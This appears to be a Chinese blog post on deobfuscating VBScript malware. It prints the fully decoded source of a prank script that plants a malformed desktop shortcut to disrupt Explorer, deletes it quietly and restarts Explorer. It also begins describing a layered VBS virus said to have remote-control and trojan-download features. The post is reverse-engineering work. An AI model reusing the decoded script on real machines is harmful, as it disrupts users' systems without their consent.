昨天在做Arthur’s Online Riddle的时候有这么一道题目:
If QWERTY = ABCDEF then, OLSQFR = ?
就是我之前在百度HI上看到的加密的恶作剧程序。之前解密的时候犯了一个很愚蠢的错误,竟然把循环的次数看错了。
那个上面贴出的程序运行后生成一个EZJ.VBE文件,用Script Decoder将其解码成EZJ.VBS,然后将
Execute FG5bhgNStr
替换为
Set file = HgyuR5Y3v.OpenTextFile((zhVVB4tr6 - 16535685)&".vbs",2,True) file.Write FG5bhgNStr
双击运行,得到501个vbs文件,其中70.vbs就是解密后的代码,如下
Rem EnCode_4.0 By baomaboy On Error Resume Next Set sexc4rt = WScript.CreateObject("WScript.Shell") Set CcYdrdTE = CreateObject("Scripting.FileSystemObject") RName = Int((9876543210 - 1234567890 + 1) * Rnd + 1234567890) UrlFile = CcYdrdTE.BuildPath(sexc4rt.SpecialFolders("Desktop"),"\"&RName&".url") Set UrlStr = CcYdrdTE.OpenTextFile(UrlFile,2,True) UrlStr.WriteLine("[InternetShortcut]"&vbcrlf&"url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:") UrlStr.Close WScript.Sleep 5000 Set OUrl = CcYdrdTE.OpenTextFile(CcYdrdTE.BuildPath(CcYdrdTE.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True) OUrl.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"&vbcrlf&"command=ToggleDesktop") OUrl.Close sexc4rt.Run("ShowDisktop.SCF") WScript.Sleep 16365 sexc4rt.Run("%COMSPEC% /C Del "&CcYdrdTE.GetFile(UrlFile).ShortPath),vbHide WScript.Sleep 1000 sexc4rt.Run("explorer.exe") WScript.Quit(0)
唉,因为一个很低级的错误,纠结了好几天。
在解密暴风一号病毒的时候,曾经搜索到看雪的一个帖子,楼主说的也是暴风一号的解密。但是下面有人回了一个
对于病毒来说这个代码写得很啰嗦,没什么功能,连后台都没有,发布出去就是个死马
该让别人看不懂的地方一点也没有处理 鉴定完毕
你兴趣把这个解出来http://www.cn-dos.net/forum/viewthread.php?tid=39994&fpage=1&highlight=vbs
带后台的,支持远程后台控制VBS更新 支持后台命令让VBS操作你所实现的命令 比如:根据判断进程来下载木马。
这个VBS加了好几层密,全是手动加密 最后一层有点小难度,解完后的原码,你根本看不懂,不花点时间做点笔记根本不知道是什么意思
当时点进去看了一下,尝试着解密了一下,发现没有想象中的简单,就不管了。最近闲得慌,又拿出来看了一下,这次终于解密出来了。这个VBS病毒十分的强大,嵌套了好几层的Execute语句,即使最后解密出来的明文都很难看得懂,暴风一号和它比起来真的是小巫见大巫了。写病毒的人绝对是VBS高手中的高手,解密完这个病毒,我再也不敢说我会VBS了。
下面是解密过程,源代码和中间代码下载地址在文章末尾给出,请先下载再往下看。解密的主要思路是把Execute语句用下列代码替换
Dim fso, file Set fso = CreateObject("scripting.filesystemobject") Set file = fso.OpenTextFile("filename.vbs",2,True) file.Write code file.Close
其中filename为文件名,code为要Execute的代码。